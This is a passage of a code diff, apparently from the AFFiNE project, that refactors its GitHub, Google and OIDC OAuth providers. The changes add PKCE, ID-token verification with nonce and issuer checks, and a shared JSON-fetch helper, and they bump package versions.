abstract getUser(tokens: Tokens, state: any): Promise<OAuthAccount>;
abstract getToken(code: string, state: OAuthState): Promise<Tokens>;
abstract getUser(tokens: Tokens, state: OAuthState): Promise<OAuthAccount>;
protected readonly logger = new Logger(this.constructor.name);
@Inject() private readonly factory!: OAuthProviderFactory;
@@ -65,4 +73,63 @@ export abstract class OAuthProvider {
this.factory.unregister(this);
}
}
get requiresPkce() {
return false;
}
protected async fetchJson<T>(
url: string,
init?: RequestInit,
options?: { treatServerErrorAsInvalid?: boolean }
) {
const response = await fetch(url, {
headers: { Accept: 'application/json', ...init?.headers },
...init,
});
const body = await response.text();
if (!response.ok) {
if (response.status < 500 || options?.treatServerErrorAsInvalid) {
throw new InvalidOauthCallbackCode({ status: response.status, body });
}
throw new Error(
`Server responded with non-success status ${response.status}, body: ${body}`
);
}
if (!body) {
return {} as T;
}
try {
return JSON.parse(body) as T;
} catch {
throw new InvalidOauthResponse({
reason: `Unable to parse JSON response from ${url}`,
});
}
}
protected postFormJson<T>(
url: string,
body: string,
options?: {
headers?: Record<string, string>;
treatServerErrorAsInvalid?: boolean;
}
) {
return this.fetchJson<T>(
url,
{
method: 'POST',
body,
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
...options?.headers,
},
},
options
);
}
}

View File

@@ -1,8 +1,9 @@
import { Injectable } from '@nestjs/common';
import { InvalidOauthCallbackCode, URLHelper } from '../../../base';
import { URLHelper } from '../../../base';
import { OAuthProviderName } from '../config';
import { OAuthProvider, Tokens } from './def';
import type { OAuthState } from '../types';
import { OAuthAccount, OAuthProvider, Tokens } from './def';
interface AuthTokenResponse {
access_token: string;
@@ -35,64 +36,36 @@ export class GithubOAuthProvider extends OAuthProvider {
})}`;
}
async getToken(code: string) {
const response = await fetch(
async getToken(code: string, _state: OAuthState): Promise<Tokens> {
const ghToken = await this.postFormJson<AuthTokenResponse>(
'https://github.com/login/oauth/access_token',
{
method: 'POST',
body: this.url.stringify({
code,
client_id: this.config.clientId,
client_secret: this.config.clientSecret,
redirect_uri: this.url.link('/oauth/callback'),
}),
headers: {
Accept: 'application/json',
'Content-Type': 'application/x-www-form-urlencoded',
},
}
this.url.stringify({
code,
client_id: this.config.clientId,
client_secret: this.config.clientSecret,
redirect_uri: this.url.link('/oauth/callback'),
})
);
if (response.ok) {
const ghToken = (await response.json()) as AuthTokenResponse;
return {
accessToken: ghToken.access_token,
scope: ghToken.scope,
};
} else {
const body = await response.text();
if (response.status < 500) {
throw new InvalidOauthCallbackCode({ status: response.status, body });
}
throw new Error(
`Server responded with non-success status ${response.status}, body: ${body}`
);
}
return {
accessToken: ghToken.access_token,
scope: ghToken.scope,
};
}
async getUser(tokens: Tokens) {
const response = await fetch('https://api.github.com/user', {
async getUser(tokens: Tokens, _state: OAuthState): Promise<OAuthAccount> {
const user = await this.fetchJson<UserInfo>('https://api.github.com/user', {
method: 'GET',
headers: {
Authorization: `Bearer ${tokens.accessToken}`,
},
});
if (response.ok) {
const user = (await response.json()) as UserInfo;
return {
id: user.login,
avatarUrl: user.avatar_url,
email: user.email,
};
} else {
throw new Error(
`Server responded with non-success code ${
response.status
} ${await response.text()}`
);
}
return {
id: user.login,
avatarUrl: user.avatar_url,
email: user.email,
name: user.name,
};
}
}

View File

@@ -1,8 +1,9 @@
import { Injectable } from '@nestjs/common';
import { InvalidOauthCallbackCode, URLHelper } from '../../../base';
import { URLHelper } from '../../../base';
import { OAuthProviderName } from '../config';
import { OAuthProvider, Tokens } from './def';
import type { OAuthState } from '../types';
import { OAuthAccount, OAuthProvider, Tokens } from './def';
interface GoogleOAuthTokenResponse {
access_token: string;
@@ -40,44 +41,28 @@ export class GoogleOAuthProvider extends OAuthProvider {
})}`;
}
async getToken(code: string) {
const response = await fetch('https://oauth2.googleapis.com/token', {
method: 'POST',
body: this.url.stringify({
async getToken(code: string, _state: OAuthState): Promise<Tokens> {
const gToken = await this.postFormJson<GoogleOAuthTokenResponse>(
'https://oauth2.googleapis.com/token',
this.url.stringify({
code,
client_id: this.config.clientId,
client_secret: this.config.clientSecret,
redirect_uri: this.url.link('/oauth/callback'),
grant_type: 'authorization_code',
}),
headers: {
Accept: 'application/json',
'Content-Type': 'application/x-www-form-urlencoded',
},
});
})
);
if (response.ok) {
const ghToken = (await response.json()) as GoogleOAuthTokenResponse;
return {
accessToken: ghToken.access_token,
refreshToken: ghToken.refresh_token,
expiresAt: new Date(Date.now() + ghToken.expires_in * 1000),
scope: ghToken.scope,
};
} else {
const body = await response.text();
if (response.status < 500) {
throw new InvalidOauthCallbackCode({ status: response.status, body });
}
throw new Error(
`Server responded with non-success status ${response.status}, body: ${body}`
);
}
return {
accessToken: gToken.access_token,
refreshToken: gToken.refresh_token,
expiresAt: new Date(Date.now() + gToken.expires_in * 1000),
scope: gToken.scope,
};
}
async getUser(tokens: Tokens) {
const response = await fetch(
async getUser(tokens: Tokens, _state: OAuthState): Promise<OAuthAccount> {
const user = await this.fetchJson<UserInfo>(
'https://www.googleapis.com/oauth2/v2/userinfo',
{
method: 'GET',
@@ -87,20 +72,11 @@ export class GoogleOAuthProvider extends OAuthProvider {
}
);
if (response.ok) {
const user = (await response.json()) as UserInfo;
return {
id: user.id,
avatarUrl: user.picture,
email: user.email,
};
} else {
throw new Error(
`Server responded with non-success code ${
response.status
} ${await response.text()}`
);
}
return {
id: user.id,
avatarUrl: user.picture,
email: user.email,
name: user.name,
};
}
}

View File

@@ -1,21 +1,34 @@
import { Injectable } from '@nestjs/common';
import { createRemoteJWKSet, type JWTPayload, jwtVerify } from 'jose';
import { omit } from 'lodash-es';
import { z } from 'zod';
import {
InvalidOauthCallbackCode,
InvalidAuthState,
InvalidOauthResponse,
URLHelper,
} from '../../../base';
import { OAuthOIDCProviderConfig, OAuthProviderName } from '../config';
import type { OAuthState } from '../types';
import { OAuthAccount, OAuthProvider, Tokens } from './def';
const StatePayloadSchema = z.object({
state: z.string().optional(),
pkce: z
.object({
codeChallenge: z.string(),
codeChallengeMethod: z.string(),
})
.optional(),
});
const OIDCTokenSchema = z.object({
access_token: z.string(),
expires_in: z.number(),
refresh_token: z.string(),
expires_in: z.number().positive().optional(),
refresh_token: z.string().optional(),
scope: z.string().optional(),
token_type: z.string(),
id_token: z.string(),
});
const OIDCUserInfoSchema = z
@@ -23,7 +36,8 @@ const OIDCUserInfoSchema = z
sub: z.string(),
preferred_username: z.string().optional(),
email: z.string().email(),
name: z.string(),
name: z.string().optional(),
email_verified: z.boolean().optional(),
groups: z.array(z.string()).optional(),
})
.passthrough();
@@ -32,6 +46,8 @@ const OIDCConfigurationSchema = z.object({
authorization_endpoint: z.string().url(),
token_endpoint: z.string().url(),
userinfo_endpoint: z.string().url(),
issuer: z.string().url(),
jwks_uri: z.string().url(),
});
type OIDCConfiguration = z.infer<typeof OIDCConfigurationSchema>;
@@ -40,11 +56,16 @@ type OIDCConfiguration = z.infer<typeof OIDCConfigurationSchema>;
export class OIDCProvider extends OAuthProvider {
override provider = OAuthProviderName.OIDC;
#endpoints: OIDCConfiguration | null = null;
#jwks: ReturnType<typeof createRemoteJWKSet> | null = null;
constructor(private readonly url: URLHelper) {
super();
}
override get requiresPkce() {
return true;
}
private get endpoints() {
if (!this.#endpoints) {
throw new Error('OIDC provider is not configured');
@@ -52,16 +73,30 @@ export class OIDCProvider extends OAuthProvider {
return this.#endpoints;
}
private get jwks() {
if (!this.#jwks) {
throw new Error('OIDC provider is not configured');
}
return this.#jwks;
}
override get configured() {
return this.#endpoints !== null;
return this.#endpoints !== null && this.#jwks !== null;
}
protected override setup() {
const validate = async () => {
this.#endpoints = null;
this.#jwks = null;
if (super.configured) {
const config = this.config as OAuthOIDCProviderConfig;
if (!config.issuer) {
this.logger.error('Missing OIDC issuer configuration');
super.setup();
return;
}
try {
const res = await fetch(
`${config.issuer}/.well-known/openid-configuration`,
@@ -72,7 +107,20 @@ export class OIDCProvider extends OAuthProvider {
);
if (res.ok) {
this.#endpoints = OIDCConfigurationSchema.parse(await res.json());
const configuration = OIDCConfigurationSchema.parse(
await res.json()
);
if (
this.normalizeIssuer(config.issuer) !==
this.normalizeIssuer(configuration.issuer)
) {
this.logger.error(
`OIDC issuer mismatch, expected ${config.issuer}, got ${configuration.issuer}`
);
} else {
this.#endpoints = configuration;
this.#jwks = createRemoteJWKSet(new URL(configuration.jwks_uri));
}
} else {
this.logger.error(`Invalid OIDC issuer ${config.issuer}`);
}
@@ -90,89 +138,240 @@ export class OIDCProvider extends OAuthProvider {
}
getAuthUrl(state: string): string {
return `${this.endpoints.authorization_endpoint}?${this.url.stringify({
const parsedState = this.parseStatePayload(state);
const nonce = parsedState?.state ?? state;
const pkce = parsedState?.pkce;
if (
this.requiresPkce &&
(!pkce?.codeChallenge || !pkce.codeChallengeMethod)
) {
throw new InvalidOauthResponse({
reason: 'Missing PKCE challenge for OIDC authorization request',
});
}
const query: JWTPayload = {
client_id: this.config.clientId,
redirect_uri: this.url.link('/oauth/callback'),
scope: this.config.args?.scope || 'openid profile email',
scope: this.resolveScope(this.config.args?.scope),
response_type: 'code',
...omit(this.config.args, 'claim_id', 'claim_email', 'claim_name'),
...omit(
this.config.args,
'claim_id',
'claim_email',
'claim_name',
'claim_email_verified'
),
state,
})}`;
nonce,
};
if (pkce) {
query.code_challenge = pkce.codeChallenge;
query.code_challenge_method = pkce.codeChallengeMethod;
}
return `${this.endpoints.authorization_endpoint}?${this.url.stringify(
query
)}`;
}
async getToken(code: string): Promise<Tokens> {
const res = await fetch(this.endpoints.token_endpoint, {
method: 'POST',
body: this.url.stringify({
async getToken(code: string, state: OAuthState): Promise<Tokens> {
if (this.requiresPkce && !state.pkce?.codeVerifier) {
throw new InvalidAuthState();
}
const data = await this.postFormJson<unknown>(
this.endpoints.token_endpoint,
this.url.stringify({
code,
client_id: this.config.clientId,
client_secret: this.config.clientSecret,
redirect_uri: this.url.link('/oauth/callback'),
grant_type: 'authorization_code',
...(state.pkce?.codeVerifier
? { code_verifier: state.pkce.codeVerifier }
: {}),
}),
headers: {
Accept: 'application/json',
'Content-Type': 'application/x-www-form-urlencoded',
},
});
{ treatServerErrorAsInvalid: true }
);
if (res.ok) {
const data = await res.json();
const tokens = OIDCTokenSchema.parse(data);
return {
accessToken: tokens.access_token,
refreshToken: tokens.refresh_token,
expiresAt: new Date(Date.now() + tokens.expires_in * 1000),
scope: tokens.scope,
};
const tokens = OIDCTokenSchema.parse(data);
if (!tokens.id_token) {
throw new InvalidOauthResponse({
reason: 'Missing id_token in OIDC token response',
});
}
throw new InvalidOauthCallbackCode({
status: res.status,
body: await res.text(),
});
return {
accessToken: tokens.access_token,
refreshToken: tokens.refresh_token,
expiresAt: tokens.expires_in
? new Date(Date.now() + tokens.expires_in * 1000)
: undefined,
scope: tokens.scope,
idToken: tokens.id_token,
tokenType: tokens.token_type,
};
}
async getUser(tokens: Tokens): Promise<OAuthAccount> {
const res = await fetch(this.endpoints.userinfo_endpoint, {
method: 'GET',
headers: {
Accept: 'application/json',
Authorization: `Bearer ${tokens.accessToken}`,
},
});
private parseStatePayload(state: string) {
if (!state) {
return null;
}
if (res.ok) {
const body = await res.json();
const user = OIDCUserInfoSchema.parse(body);
try {
const stateObj = JSON.parse(state);
return StatePayloadSchema.parse(stateObj);
} catch {
return null;
}
}
const args = this.config.args ?? {};
private resolveScope(scope?: string) {
if (!scope) {
return 'openid profile email';
}
const claimsMap = {
id: args.claim_id || 'preferred_username',
email: args.claim_email || 'email',
name: args.claim_name || 'name',
};
const segments = scope.split(/\s+/).filter(Boolean);
if (!segments.includes('openid')) {
segments.unshift('openid');
}
const identities = {
id: user[claimsMap.id] as string,
email: user[claimsMap.email] as string,
};
return segments.join(' ');
}
if (!identities.id || !identities.email) {
throw new InvalidOauthResponse({
reason: `Missing required claims: ${Object.keys(identities)
.filter(key => !identities[key as keyof typeof identities])
.join(', ')}`,
});
private normalizeIssuer(issuer: string) {
return issuer.replace(/\/+$/, '');
}
private async verifyIdToken(idToken: string, nonce: string) {
try {
const { payload } = await jwtVerify(idToken, this.jwks, {
issuer: this.endpoints.issuer,
audience: this.config.clientId,
});
if (!payload.nonce || payload.nonce !== nonce) {
throw new InvalidAuthState();
}
return identities;
return payload;
} catch (err) {
this.logger.warn('Failed to verify OIDC id token', err);
throw new InvalidAuthState();
}
}
private extractBoolean(value: unknown): boolean | undefined {
if (typeof value === 'boolean') {
return value;
}
throw new InvalidOauthCallbackCode({
status: res.status,
body: await res.text(),
});
if (typeof value === 'string') {
const normalized = value.toLowerCase();
if (['true', '1', 'yes'].includes(normalized)) {
return true;
}
if (['false', '0', 'no'].includes(normalized)) {
return false;
}
}
return undefined;
}
private extractString(value: unknown): string | undefined {
if (typeof value === 'string' && value.length > 0) {
return value;
}
return undefined;
}
async getUser(tokens: Tokens, state: OAuthState): Promise<OAuthAccount> {
if (!tokens.idToken) {
throw new InvalidOauthResponse({
reason: 'Missing id_token in OIDC token response',
});
}
if (!state.token) {
throw new InvalidAuthState();
}
const idTokenClaims = await this.verifyIdToken(tokens.idToken, state.token);
const rawUser = await this.fetchJson<unknown>(
this.endpoints.userinfo_endpoint,
{
method: 'GET',
headers: {
Authorization: `Bearer ${tokens.accessToken}`,
},
},
{ treatServerErrorAsInvalid: true }
);
const user = OIDCUserInfoSchema.parse(rawUser);
if (!user.sub || !idTokenClaims.sub) {
throw new InvalidOauthResponse({
reason: 'Missing subject claim in OIDC response',
});
} else if (user.sub !== idTokenClaims.sub) {
throw new InvalidOauthResponse({
reason: 'Subject mismatch between ID token and userinfo response',
});
}
const args = this.config.args ?? {};
const claimsMap = {
id: args.claim_id || 'sub',
email: args.claim_email || 'email',
name: args.claim_name || 'name',
emailVerified: args.claim_email_verified || 'email_verified',
};
const accountId =
this.extractString(user[claimsMap.id]) ?? idTokenClaims.sub;
const email =
this.extractString(user[claimsMap.email]) ||
this.extractString(idTokenClaims.email);
const emailVerified =
this.extractBoolean(user[claimsMap.emailVerified]) ??
this.extractBoolean(idTokenClaims.email_verified);
if (!accountId) {
throw new InvalidOauthResponse({
reason: 'Missing required claim for user identifier',
});
}
if (!email) {
throw new InvalidOauthResponse({
reason: 'Missing required claim for email',
});
}
if (emailVerified === false) {
throw new InvalidOauthResponse({
reason: 'Email for this account is not verified',
});
}
const account: OAuthAccount = {
id: accountId,
email,
};
const name =
this.extractString(user[claimsMap.name]) ||
this.extractString(idTokenClaims.name);
if (name) {
account.name = name;
}
return account;
}
}

View File

@@ -1,20 +1,13 @@
import { randomUUID } from 'node:crypto';
import { createHash, randomBytes, randomUUID } from 'node:crypto';
import { Injectable } from '@nestjs/common';
import { SessionCache } from '../../base';
import { OAuthProviderName } from './config';
import { OAuthProviderFactory } from './factory';
import { OAuthPkceChallenge, OAuthState } from './types';
const OAUTH_STATE_KEY = 'OAUTH_STATE';
interface OAuthState {
redirectUri?: string;
client?: string;
clientNonce?: string;
provider: OAuthProviderName;
}
@Injectable()
export class OAuthService {
constructor(
@@ -28,7 +21,8 @@ export class OAuthService {
async saveOAuthState(state: OAuthState) {
const token = randomUUID();
await this.cache.set(`${OAUTH_STATE_KEY}:${token}`, state, {
const payload: OAuthState = { ...state, token };
await this.cache.set(`${OAUTH_STATE_KEY}:${token}`, payload, {
ttl: 3600 * 3 * 1000 /* 3 hours */,
});
@@ -42,4 +36,28 @@ export class OAuthService {
availableOAuthProviders() {
return this.providerFactory.providers;
}
createPkcePair(): OAuthPkceChallenge {
const codeVerifier = this.randomBase64Url(96);
const hash = createHash('sha256').update(codeVerifier).digest();
const codeChallenge = this.base64UrlEncode(hash);
return {
codeVerifier,
codeChallenge,
codeChallengeMethod: 'S256',
};
}
private randomBase64Url(byteLength: number) {
return this.base64UrlEncode(randomBytes(byteLength));
}
private base64UrlEncode(buffer: Buffer) {
return buffer
.toString('base64')
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
}
}

View File

@@ -0,0 +1,19 @@
import { OAuthProviderName } from './config';
export interface OAuthPkceState {
codeVerifier: string;
codeChallengeMethod: 'S256';
}
export interface OAuthPkceChallenge extends OAuthPkceState {
codeChallenge: string;
}
export interface OAuthState {
redirectUri?: string;
client?: string;
clientNonce?: string;
provider: OAuthProviderName;
pkce?: OAuthPkceState;
token?: string;
}

View File

@@ -12,5 +12,5 @@
"@types/debug": "^4.1.12",
"vitest": "3.1.3"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -22,5 +22,5 @@
"dependencies": {
"zod": "^3.24.1"
},
"version": "0.25.5"
"version": "0.25.7"
}

View File

@@ -1,6 +1,6 @@
{
"name": "@affine/error",
"version": "0.25.5",
"version": "0.25.7",
"private": true,
"type": "module",
"exports": {

View File

@@ -1,6 +1,6 @@
{
"name": "@affine/graphql",
"version": "0.25.5",
"version": "0.25.7",
"description": "Autogenerated GraphQL client for affine.pro",
"license": "MIT",
"type": "module",

Some files were not shown because too many files have changed in this diff Show More